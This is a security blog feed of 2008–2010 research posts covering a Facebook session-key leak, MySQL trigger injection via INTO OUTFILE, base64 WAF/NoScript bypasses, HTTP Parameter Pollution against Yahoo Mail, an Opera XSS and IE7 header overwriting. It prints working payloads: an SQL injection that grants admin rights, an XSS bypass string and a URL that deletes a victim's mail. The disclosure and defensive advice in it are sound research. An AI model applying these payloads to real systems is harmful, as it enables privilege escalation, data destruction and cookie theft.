My Security Planet » Security Thoughts http://rgaucher.info/planet/ My Security Planet » Security Thoughts Gregarius 0.5.4 en Security Thoughts: Facebook application hole. A neverending story? http://www.wisec.it/sectou.php?id=4bcf112a5085d Wed, 21 Apr 2010 11:16:00 -0500 http://www.wisec.it/sectou.php?id=4bcf112a5085d
After some hours of trial and error I understood that an application has almost full access to user data by using REST-Ful APIs.

It seems that an application just needs a key called session_key representing the user.
How to get that? Redirecting the user to the facebook page (FacebookWiki):


http://www.facebook.com/tos.php?api_key=[AppKey]&moreParameters


Which, if user has already subscribed to the application, then it redirects to :


http://apps.facebook.com/appPage/?session={"session_key":"2.XXXXXXXXZzHYZaBMEA__.3600.XXXX-XXXXX","uid":XXXXXX,"expires":1271016000,"secret":"XXXXXX","base_domain":"domain.com","sig":"XXXXX"}


The url where the user is redirected can be set in the 'next' parameter (implied in moreParameters).
Now I had to better understand what I can do and went to my favourite FaceBook hacker-superhero The Harmony Guy.
Found this:

It seems he already found something...and very big! :( Even if I don't know a thing about FBK, I was sooo near!

The good^N^N^N^NBad thing is that it took me a few hours to study the environment and think about that.

That's the explaination (from harmony guy link):


"...
But the first main component of the attack involved a slight modification to
the login page URI. By adding a 'next' parameter, once can specify an
alternate landing page for authorized users. Not all applications take
advantage of this parameter, but many do. The parameter would not work
for an arbitrary site, but Facebook previously did allow any URI that began
with apps.facebook.com. Thus one could craft a login page URI that
checked whether the user had authorized one application and then
forward the user to a second application. The next part of the attack came
from adding 'return_session=1' to the login page URI. This parameter
causes Facebook to append particular session variables for the authorized
application onto the URI of the landing page - in our case, the second
application given by the 'next' parameter. That application merely has to
check its address for the session data, which provides enough information
to execute API requests using the credentials of the already authorized
application.
..."


Now there's something I don't understand, and that's because I'm not a Facebook hacker and because the description is not technical.
They say it's fixed but if I try this request:

http://www.facebook.com/tos.php?api_key=80c6ec6628efd9a465dd223190a65bbc&connect_display=popup&v=1.0&next=../wisectest/&v=1.0&&return_session=true&session_key_only=true&canvas


using farmville api_key with next parameter set to my test application home page on apps.facebook.com, I get a redirect to:

http://apps.facebook.com/wisectest/?session={"session_key":"2.XXXXXXXXZzHYZaBMEA__.3600.XXXX-XXXXX","uid":XXXXXX,"expires":1271016000,"secret":"XXXXXX","base_domain":"farmville.com","sig":"XXXXX"}



After that the victim seems to be also added my fake test app transparently...




Maybe they fixed on login.php but missed some page?...:o
As usual the infamous question I asked myself a lot of times when a vuln is fixed but the technique has not been understood.
How come that after the "theharmonyguy" post no one @facebook got a deep analysis?
Maybe complexity is a bad dwarf when dealing with security, but what about applying Secure-SLDC, I mean, really.

Just for sake of user privacy protection, I'd suggest to use different Browsers or Firefox Plugins.
  • Use Chrome for your every day browsing
  • Use (at least) multiple profiles on Firefox for your favorite categories
    • Firefox -P private
    • Firefox -P banking
    • Firefox -P pr0n
    • Firefox -P whatever

    and, of course use NoScript! ;)



Nota Bene:
I also found some site publishing Xss on facebook applications by simply searching on google...and they still work!
Hey Mr. Facebook would you care doing a Google search?
A hint: "facebook applications security bugs" on bigG.
]]> Security Thoughts: MySQL Stacked Queries with SQL Injection...sort of http://www.wisec.it/sectou.php?id=4bced661462bd Wed, 21 Apr 2010 07:38:00 -0500 http://www.wisec.it/sectou.php?id=4bced661462bd
In the next few lines we'll describe a new technique that could allow an attacker to insert or update data also when there is a SQL Injection on select queries.
The most known attack also implemented on SQLMap is the takeover technique when the MySQL user has File Privileges and the DBMS is on the same server of the exposed web application.
What to do when the DBMS host is on a different server?

Something can be done by abusing Triggers.
MySQL supports Triggers since 5.0.2.
In MySQL, Triggers are wrote as a separate file on the same directory of the Database data dir.
It needs two files:
  • /mysql/datadir/DB/TableName.TRG
  • /mysql/datadir/DB/TriggerName.TRN

Suppose now that a `user` table exists on users DB.
So run mysql client and create the following trigger:


mysql> delimiter //
mysql> CREATE trigger atk after insert on user for each row
-> begin
-> update user set isadmin=1 where isadmin=0;
-> end//
mysql> delimiter ;


We can see that two files were created in data directory of users DB:
/var/lib/mysql/users/atk.TRN


TYPE=TRIGGERNAME
trigger_table=user


and /var/lib/mysql/users/user.TRG


TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` trigger atk after insert on user for each rownbeginnupdate user set isadmin=1 where isadmin=0;nend'
sql_modes=0
definers='root@localhost'
client_cs_names='latin1'
connection_cl_names='latin1_swedish_ci'
db_cl_names='latin1_swedish_ci'



What happens if we successfully write user.TRG and atk.TRN in /var/lib/mysql/users/users.TRG using INTO OUTFILE ?


AND 1=0 union select 'TYPE=TRIGGERS' into outfile
'/var/lib/mysql/users/user.TRG' LINES TERMINATED BY '\ntriggers='CREATE
DEFINER=`root`@`localhost` trigger atk after insert on user for each row\nbegin
\nupdate user set isadmin=0 where
isadmin=1;\nend'sql_modes=0ndefiners='root@localhost'nclient_cs_names='l
atin1'nconnection_cl_names='latin1_swedish_ci'ndb_cl_names='latin1_swedi
sh_ci'n';


Then do the same to create atk.TRN


TYPE=TRIGGERNAME
trigger_table=user


MySQL will check if a TRG extension is present and will execute the trigger.
So, in this scenery, after a user registration every user will be an admin... and Stored Xss like Frame Injection could be accomplished as well.
Also some privilege escalation could probably be done since the DEFINER keyword says to MySQL the user on behalf the trigger should be executed.

Another interesting thing about this attack is that we can try fuzzing
  • tabname.MYD
  • tabname.MYI
  • tabname.frm
and of course
  • tabname.TRG
  • triggername.TRN

file format and try to exploit the file format parsers.
I found some crash on TRG which doesn't seem to be exploitable, but who knows..further research could result in exploitable parser errors on those file formats.
]]> Security Thoughts: Fooling B64_Encode(Payload) on WAFs and filters http://www.wisec.it/sectou.php?id=4bced57a5181b Wed, 21 Apr 2010 07:24:00 -0500 http://www.wisec.it/sectou.php?id=4bced57a5181b
  • Completeness
  • Correctness
    • We know Regexp could be faulty, but let's suppose there's some sort of encoding in the payload which is furtherly decoded on some server side layer and then used in clear text to pass it to another layer.
    A good defense should be to let the WAF/Filter decode it and check for attack patterns (using regexp..).
    Now the question is how can I implement a decoder to get the input back in clear?
    Let's talk about Base64.

    Base64 encoding and decoding are implemented in many ways and many languages.
    For example PHP base64_decode() is:
    • Very greedy.
    • Goes ahead even if something goes wrong

    Even some Java Implementation is kind of greedy:
    com.sun.org.apache.xerces.internal.impl.dv.util.Base64

    public static byte[] decode(String paramString) {
    if (paramString == null) {
    return null;
    }
    char[] arrayOfChar = paramString.toCharArray();
    int i = removeWhiteSpace(arrayOfChar);


    The question is: How to rely on WAF or filters controls if they miss some behaviour?

    NoScript checks for Base64 encoded Xss.
    ModSecurity implements Base64 decoding using the following rule:

    SecRule ARGS:b64 "alert" "t:base64decode,log,deny,status:501"

    So the following payload is caught by both:
    b64_encode("<script>alert(1)</script>");

    PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

    Mod_Security:

    NoScript:



    But since the real decoder is on another layer, let's try with PHP's decoder using the illegal character '.':

    P.HNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

    Here's what happens:



    ModSecurity (v. 2.5.6-1) and NoScript (v. 1.9.9.61) are bypassed.
    Same happens for other illegal character.
    Now NoScript is fixed (v. >= 1.9.9.62) and I expect ModSecurity to be fixed soon.

    The question still remains.
    How to rely on WAF or filters controls if they miss some behaviour?

    WAFs and IDSs are good for defense in depth.
    So don't rely too much on those.
    Apply SSDLC by implementing correct filters and controls and Test, Test, Test in your own environment!
    ]]>         Security Thoughts: HTTP Parameter Pollution FAQs http://www.wisec.it/sectou.php?id=4a157b35e8909 Thu, 21 May 2009 12:36:00 -0500 http://www.wisec.it/sectou.php?id=4a157b35e8909 Thanks for your comments, suggestions and feedbacks.

    It's now time to summarize and clarify some points.

    Q: Is this a new class of exploits or just another case of applications lacking input validation?
    A: Actually, HPP is an input validation flaw. As SQL Injection and XSS, we may consider it as an injection weakness.
    In this specific case, query string delimiters are the "dangerous" characters.

    Q: You are saying that several HTTP back-ends manage multiple occurrences in different ways. In some cases, it may be abused in order to fingerprint the underline back-end. Is it right?
    A: Yes, sure. However, considering the granularity available, we don't think it is really so interesting.

    Q: This is a known attack. You guys presented a bunch of interesting but already known techniques to exploit different vulnerabilities.
    A: Actually, we think we have contributed (in some way) to the current state-of-art showing this issue. However, even if it is currently used by 'hard-core' attackers, it's very important to formalize a threat in order to mitigate the issue and create efficient workarounds.
    The aim of the entire research is to raise awareness around this problem.
    In future, we would like to include HPP within the OWASP Testing Guide in order to provide the right methodology for testing systems against HPP-like attacks as well.
    We strongly believe that sharing such knowledge may increase the security of all web applications.

    Q: Most of your examples and findings use GET parameters. What about POST?
    A: POST and COOKIE parameters may be affected as well. In slide #11 and #19, we have briefly stated that and you will see further research because it is a very interesting aspect since it gives additional flexibility for all attacks.

    Q: In the current version of IE8, is the XSS Filter still vulnerable to HPP?
    A: No! We had a discussion with the IE XSS Filter guy at Microsoft and turns out that the current version is NOT affected. All previous tests were done against the beta release and we didn't double check the latest one. We are sorry for this misunderstanding.

    Q: Are multiple occurrences of a parameter valid according to the RFC, W3C, whatever?
    A: Yes! Yes! The only thing which in fact was worth mentioning is the lack of standard in the _management_ of multiple occurrences and NOT the presence of multiple occurrences themselves.
    After all, that's why it is possible to abuse the query string delimiters injection flaw.

    Q: Is Yahoo! Mail still vulnerable to HPP?
    A: Difficult to say. However, the specific issue was patched thus it cannot be abused by malicious users.

    Q: Could you provide additional details regarding the Yahoo! Classic Mail HPP attack?
    A: I've just published here an in-depth review of the issue with the video PoC as well.

    Q: What's the right way of managing multiple occurrences? Is there a 'perfect' framework?
    A: No, there are no right o wrong behaviors as well as we cannot refer to a right or wrong web servers/web frameworks. The behavior of the HTTP back-ends is a matter of exploitability, only.

    Q: HPP is only about WAFs bypasses?
    A: Absolutely not! HPP is also about applications flow manipulation, anti-CSRF, content pollution.

    Q: How can I prevent HPP?
    A: First of all, answer yourself "Which layer am I protecting?".
    Then, speaking about HPP server side, it's always important to use URL encoding whenever you do GET/POST HTTP requests to an HTTP back-end.
    From the client-side point of view, use URL encoding whenever you are going to include user-supplied content within links, etc.

    Q: Am I vulnerable to HPP?
    A: It depends on how you are managing several occurrences of the same parameter from the application point of view. Using strict input validation checkpoints and the right output filtering (URL encoding), you are likely secure (at least, against HPP :p).

    That's all (for now).
    ]]>         Security Thoughts: Client side Http Parameter Pollution - Yahoo! Classic Mail Video Poc http://www.wisec.it/sectou.php?id=4a155ba989240 Thu, 21 May 2009 10:41:00 -0500 http://www.wisec.it/sectou.php?id=4a155ba989240 presentation,
    I think it's time to give some details of the Yahoo! Classic Mail exploitation.
    That's the long version of the video we showed @ OWASP Appsec Poland 2009:
    Youtube LD Video or Wisec HD Video

    Moreover, in order to better clarify the details of client side HPP explitation, here's an excerpt of my mail to Yahoo! security team:
    "...
    How client side HPP works?
    It's pretty easy, find a name value pair of HTTP parameters and append %26aaaa=aaaaa to it. Example:


    http://yahoo.com?par=val%26aaaa=aaa


    Have a look at Html source looking for translation of %26 in & or & in anchors or other attributes using the url, such as:


    <a href="http://yahoo.com?par=val&aaaa=aaa"> View </a>


    The semantic of such link changes from the function described to something else.
    In fact, if instead of %26aaaa=aaa the injected parameter were:


    %26action=delete


    So, it becomes:


    <a href="http://yahoo.com?par=val&action=delete"> View </a>


    The user considers the functionality "view", even if the real action is "delete".
    Obviously it strongly depends on the functionalities and the structure of the Web app...

    Yahoo! Classic Mail Issue
    I found that client side HPP is possible on some parameter in the first page of Inbox.
    Example:


    http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&order=down&tt=245&pSize=25&startMid=0


    has startMid which could be used as entry point for client-side HPP.
    Infact if we try to add %26aaaa=aaa to startMid:


    http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&order=down&tt=245&pSize=25&startMid=0%26aaaa=aaa


    Every link to listed emails, withinin inbox, expands %26 into &.
    Specifically:


    <a href="http://it.mc257.mail.yahoo.com/mc/showMessage?pSize=25&sMid=0&fid=Inbox&sort=date&order=down&startMid=0&aaaaa=aaa&filterBy=&.rand=1076957714&midIndex=0&mid=1_62389_ALIKDNkAAJELSeg6IAXQeCc3b%2Fk&f=1">An email subject </a>


    (notice the &aaaa=aaa)
    As a result, when the user will click on an email he will trigger the execution of a different action, as it usually happens for CSRF attacks.

    The proof of concept
    I just analyzed the application and found that 'cmd' parameter is used in order to execute a specific action.

    Later on, I found that:
    cmd=fmgt.emptytrash

    is the action for emptying the trashcan

    and that:
    DEL=1&DelFID=Inbox&cmd=fmgt.delete

    forces the application to move every msg from a folder to the trashcan and then (if possible) deletes the folder.

    Please note that every action has anti CSRF measures so it's not possible to perform those ones from an external evil page.

    Then, by combining these two commands into a link using urlencoding for the first action (delete all messages) and double urlencoding for the second action (empty the trashcan) like this:


    http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&order=down&tt=245&pSize=25&startMid=0%2526cmd=fmgt.emptytrash%26DEL=1%26DelFID=Inbox%26cmd=fmgt.delete


    when the user clicks on any message in order to read it and then click to "Back to messages", he will have every messages deleted forever..

    Countermeasures to Client Side HPP
    When creating URLs the parameters taken from the http request itself should be url encoded and not translated to Html Entities.

    Example (php):


    <a href="http://www.wisec.it/?startmid="<?=urlencode($_GET['startMid'])?>&id=4">View</a>


    and not:


    <a href="http://www.wisec.it/?startmid="<?=htmlspecialchars($_GET['startMid'])?>&id=4">View</a>



    The Attack flow
    Let’s review, once again, the attack flow

    Flow #1:

    1. Attacker sends an email to the victim with the above link.
    2. User/victim clicks on the link and gets the inbox page again.
    3. User/victim clicks in order to see the other messages and gets every message deleted.


    Flow #2:

    1. User/victim visits a malicious page
    2. Attacker, after checking if the user is logged in on Yahoo!, redirects the victim on the malicious url.
    3. User/victim clicks in order to see the other messages and gets every message deleted.

    ...

    Cheers,
    Stefano
    ..."

    Just to be clear, this vulnerability is currently patched and it affected the Yahoo! Mail classic version only.
    However, it is likely to force a user to change the GUI from the brand-new mail interface to the old one.
    ]]>         Security Thoughts: Http Parameter Pollution a new web attack category (not just a new buzzword :p) http://www.wisec.it/sectou.php?id=4a129d3c810ec Tue, 19 May 2009 07:06:00 -0500 http://www.wisec.it/sectou.php?id=4a129d3c810ec OWASP Appsec Poland, me & Luca Carettoni presented a new attack category called Http Parameter Pollution (HPP).

    HPP attacks can be defined as the feasibility to override or add HTTP GET/POST parameters by injecting query string delimiters.
    It affects a building block of all web technologies thus server-side and client-side attacks exist.
    Exploiting HPP vulnerabilities, it may be possible to:

    • Override existing hardcoded HTTP parameters.
    • Modify the application behaviors.
    • Access and, potentially exploit, uncontrollable variables.
    • Bypass input validation checkpoints and WAFs rules.

    Just to whet your appetite, I can anticipate that by researching for real world HPP vulnerabilities, we found issues on some Google Search Appliance front-end scripts, Ask.com, Yahoo! Mail Classic and several other products.

    You can download the slides of the talk here (pdf) or browse it on Slideshare .

    Also, we'll soon release a whitepaper in order to clarify all details about HPP.

    As last news, in a few days the video of "Yahoo! Classic Mail" exploitation of Client Side HPP will be available on this blog.
    So...stay tuned and bon appetit!
    ]]>         Security Thoughts: All-In-One MultiStage Js/Html Payload http://www.wisec.it/sectou.php?id=4910a68e913f1 Tue, 04 Nov 2008 14:25:00 -0600 http://www.wisec.it/sectou.php?id=4910a68e913f1 For instance, when I have to create two files in order to exploit^N^N^N^N^N^Nshow some kind of multi stage vulnerability,
    and I'd need to write two files, one for the Html and one for the Js.
    So I thought, how could I overcome with all this (incredible) effort?

    Let's think about my previous post , when I released the Opera historysearch q=*Xss proof of concept.
    Maybe (or maybe not) someone noticed some difference between standard Pocs and the Poc itself.

    It is a self contained Html/Js Poc, even if it is a two stage exploit.

    Let's see a simpler empty example:


    <!--
    // Js payload starts here
    JsPayload
    // Js payload ends here
    /* Html payload Starts here
    -->
    <html>
    [Html Here]
    </html>
    <!--
    Html payload Ends here */
    -->


    As it could be seen it uses comments in order to be interpreted in different contexts, the Js one when loaded by
    <script src='self.html'></script>
    and the Html context when loaded from the browser.

    The first comment is for Html:



    <!--
    // Js payload starts here
    JsPayload
    // Js payload ends here
    /* Html payload Starts here
    -->


    that will prevent the Html interpreter to display junk allowing to write Html in a straight forward style.

    The second comment is for the JavaScript one:



    /* Html payload Starts here
    -->
    <html>
    <body style='background-color: rgb(220,220,220)'>
    ...
    <!--
    Html payload Ends here */


    which will prevent the Js interpreter to raise an exception.
    It's multiple browser compliant, and it doesn't need to be a E4X browser compliant.

    Q: So...when I am supposed to use it?
    A:It could be used for milworm p0cs or instead of publishing/posting on FD/BGTQ/SEC_ML those boring multiple files.
    Q:Why are you so lazy?
    A:Hey...Too many questions.

    Yes, it's probably useless, but it reminds me some of those multilanguage/multiprocessor/multi_O-S shellcodes (with all due respect) that has been published on phrack.
    Finally, that's more an excercise in style than a real groundbreaking new way of doing POCs, but I thought it was worth posting about it.
    However any comments will be appreciated.
    ]]>         Security Thoughts: Melomania http://www.wisec.it/sectou.php?id=49102ef18b7f3 Tue, 04 Nov 2008 05:47:00 -0600 http://www.wisec.it/sectou.php?id=49102ef18b7f3 Thanks to Roberto Suggi Liverani that pointed out an issue on Opera historysearch feature and to Kuza55
    for asking if the problem, initially considered as "simple" data stealing, could lead to a command execution,
    I started thinking about the analogies with chrome Firefox implementation.

    After some lazy testing, I figured out that same origin iframe technique could be used in order to exploit the
    Xss, leveraging it to Js driven configuration change.
    Why?
    Because when dealing with opera:* features the browser, in the context of same origin policy, considered
    the SOP matching as follows.

    Since SOP matching is evaluated by comparing


    scheme1 + host1 + port1 == scheme2 + host2 + port2


    We got opera:* considered as:


    opera + null + null


    For every opera:* feature.

    So by injecting an iframe from opera:historysearch and pointing to opera:config there was a match in the SOP.

    That is the real issue.

    Well, not really, that is only one of the hypotesis that have to be satisfied in order to lead to automatic command
    execution.
    The very first and interesting issue was the CSRF to opera:* location allowed using the window.open Js method
    from a http: scheme protocol, and that has to be credited to Roberto Suggi Liverani for finding that.

    The rest of the history is quite straightforward.

    After the issue found by Roberto I started to play a bit with the historysearch feature parameters.
    And it resulted in a very simple attribute-escaping-injection in the next-previous Xss.
    So by pointing the browser to:


    opera:historysearch?q=">payload&p=1&s=1


    there was the chance to exploit once again the opera:* scheme, but just if some result in the historysearch
    page was found.

    That's why the payload needs to be in the attacker evil page.

    The only problem was that '/' could not be used because of Opera's way of encoding/decoding them.

    Double urlencoding came into help. The solution was using %%32f in spite of %2f.
    (Avif Raff's came up with '<image src=x onerror=Payload' solution)

    And that's the full Poc.

    So, another new "chrome" alike interface to be abused? Maybe.
    What is for sure is that when a browser adds new local functionalities accessible to the user, dressed as
    internal_scheme: with html page and internal Js methods, well, security should be taken very seriously by doing:

    0. Research in the history of other browsers' flaws;
    1. Risk Assessment in the design phase;
    2. Threat analysis and Abuse Cases Analysis in the design phase;
    3. Secure Code Review of the new features;
    4. Black Box Penetration Testing.

    And that's where Opera missed its chance.
    We all hope they learnt something from their history(search).

    Now I can say that I'm a melomaniac again.
    ]]>         Security Thoughts: More on MSA02240108 IE7 Header Overwrite http://www.wisec.it/sectou.php?id=47e40aa3cc7db Fri, 21 Mar 2008 14:59:00 -0500 http://www.wisec.it/sectou.php?id=47e40aa3cc7db MSA02240108 'Microsoft Internet Explorer allows overwriting of several headers leading to Http request Splitting and smuggling', one of the interesting exploits I've found is that by taking advantage of XHR redirect feature in IE7, header stealing is possible also from an attacker site.

    Let's see how:
    When dealing with a XMLHttpRequest, Internet Explorer 7 follows redirect also on external urls.
    Moreover, every added header is sent to the latter request as well.
    Infact, 

    
var x=new XMLHttpRequest();
    
x.open("POST","/page.html?redirect=http://anotherhost.tld");
    
x.setRequestHeader("Blah","Blah2");
    
 x.onreadystatechange=function (){
    
    if (x.readyState == 4){
    
     alert(x.responseText)
    
   }
    
 }
    
x.send("blah");


    is executed and generates the following HTTP traffic:


    GET /page.html?redirect=http://anotherhost.tld HTTP/1.1
    Cookie: SomeCookie_to_ahost.tld
    Host: ahost.tld
    Blah: Blah2

    HTTP/1.1 302 Moved Temporarily
    Location: http://anotherhost.tld
    Content-lenght: 0


    GET / HTTP/1.1
    Cookie: SomeCookie_to_anotherhost.tld
    Host: anotherhost.tld
    Blah: Blah2 <-- IE Sends it to anotherhost too!

    HTTP/1.1 200 OK
    ...

    <html>
    Body that will never be accessible from a XMLHttpRequest originating from another host.
    </html>


    but of course x.responseText is empty.

    Now, let's suppose there's a victim host vhosted on the same server of an attacker site.


    
var x=new XMLHttpRequest();
    
x.open("POST","/index.html");
    
x.setRequestHeader("Host"+String.fromCharCode(223),"http://at.tacker.com");
    
x.setRequestHeader("Connection","keep-alive");
    
 x.onreadystatechange=function (){
    
    if (x.readyState == 4){
    
   }
    
 }
    
x.send("blah");



    where index.html simply redirect with:


    HTTP/1.1 302 Moved Temporarily
    Location: http://vi.ct.im/victimpage.html


    The overwritten Host header will still be there on the redirected request because IE7 considers it as an additional header, but every other header will be as if the request is to vi.ct.im host.


    GET /victimpage.html HTTP/1.1
    Host: at.tacker.com
    Cookie: some_cookie_that_should_be_sent_to_vi.ct.im
    Header1: some_value1_that_should_be_sent_to_vi.ct.im
    Header2: some_value2_that_should_be_sent_to_vi.ct.im
    Header3: some_value3_that_should_be_sent_to_vi.ct.im


    Which will be sent to the server. The server sees the Host: at.tacker.com header and sends the whole request to it, letting the cookie and other sensitive data in headers, to be directly stealed by at.ttacker.com.

    Now my question is:
    Why following a redirect to external hosts since the response could not be get from javascript, because of
    Same Origin Policy?
    ...
    Just to introduce some other potential security issue?
    ]]>         Security Thoughts: The first release of SWFIntruder is out!! http://www.wisec.it/sectou.php?id=47557e2774237 Tue, 04 Dec 2007 11:10:00 -0600 http://www.wisec.it/sectou.php?id=47557e2774237 SWFIntruder.
    SWFIntruder (pronounced Swiff Intruder) is the first tool specifically developed for analyzing and testing security of Flash applications at runtime.
    It helps to find flaws in Flash applications using the methodology originally described in Testing Flash Applications and in Finding Vulnerabilities in Flash Applications.

    Some neat feature:


    * Basic predefined attack patterns.
    * Highly customizable attacks.
    * Highly customizable undefined variables.
    * Semi automated Xss check.
    * User configurable internal parameters.
    * Log Window for debugging and tracking.
    * History of latest 5 tested SWF files.
    * ActionScript Objects runtime explorer in tree view.
    * Persistent Configuration and Layout.


    SWFIntruder is hosted @ OWASP and is sponsored by Minded Security.

    Check it out and let me know!
    Any comments will be appreciated.
    ]]>